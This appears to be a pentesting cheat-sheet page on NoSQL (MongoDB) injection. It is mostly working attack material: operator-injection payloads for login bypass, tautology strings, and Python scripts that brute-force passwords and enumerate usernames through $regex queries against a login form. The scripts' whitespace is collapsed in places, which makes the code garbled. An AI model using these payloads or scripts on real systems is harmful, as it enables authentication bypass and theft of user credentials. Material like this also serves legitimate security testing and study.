In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.
The exploits are based in adding an Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
An attacker can exploit this by inputting strings like admin' || 'a'=='a, making the query return all documents by satisfying the condition with a tautology ('a'=='a'). This is analogous to SQL injection attacks where inputs like ' or 1=1-- - are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like ' || 1==1//, ' || 1==1%00, or admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Extract length information
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.
"user":{"$func":"var_dump"}
Get info from different collection
It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.
NOTE:$lookup and other aggregation functions are only available if the aggregate() function was used to perform the search instead of the more common find() or findOne() functions.
import requests, stringalphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(21):print("[i] Looking for char number "+str(i+1))for char in alphabet: r = requests.get("http://chall.com?param=^"+flag+char)if ("<TRUE>"in r.text): flag += charprint("[+] Flag: "+flag)break
import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()username="admin"password=""whileTrue:for c in string.printable:if c notin ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}'% (username, password + c) r = requests.post(u, data = {'ids': payload}, verify =False)if'OK'in r.text:print("Found one more char : %s"% (password+c)) password += c
Brute-force login usernames and passwords from POST login
This is a simple script that you could modify but the previous tools can also do this task.
import requestsimport stringurl ="http://example.com"headers ={"Host":"exmaple.com"}cookies ={"PHPSESSID":"s3gcsgtqre05bah2vt6tibq8lsdfk"}possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
defget_password(username):print("Extracting password of "+username) params ={"username":username,"password[$regex]":"","login":"login"} password ="^"whileTrue:for c in possible_chars: params["password[$regex]"]= password + c +".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)ifint(pr.status_code)==302: password += cbreakif c == possible_chars[-1]:print("Found password "+password[1:].replace("\\", "")+" for username "+username)return password[1:].replace("\\", "")defget_usernames(prefix): usernames = [] params ={"username[$regex]":"","password[$regex]":".*"}for c in possible_chars: username ="^"+ prefix + c params["username[$regex]"]= username +".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)ifint(pr.status_code)==302:print(username)for user inget_usernames(prefix + c): usernames.append(user)return usernamesfor u inget_usernames(""):get_password(u)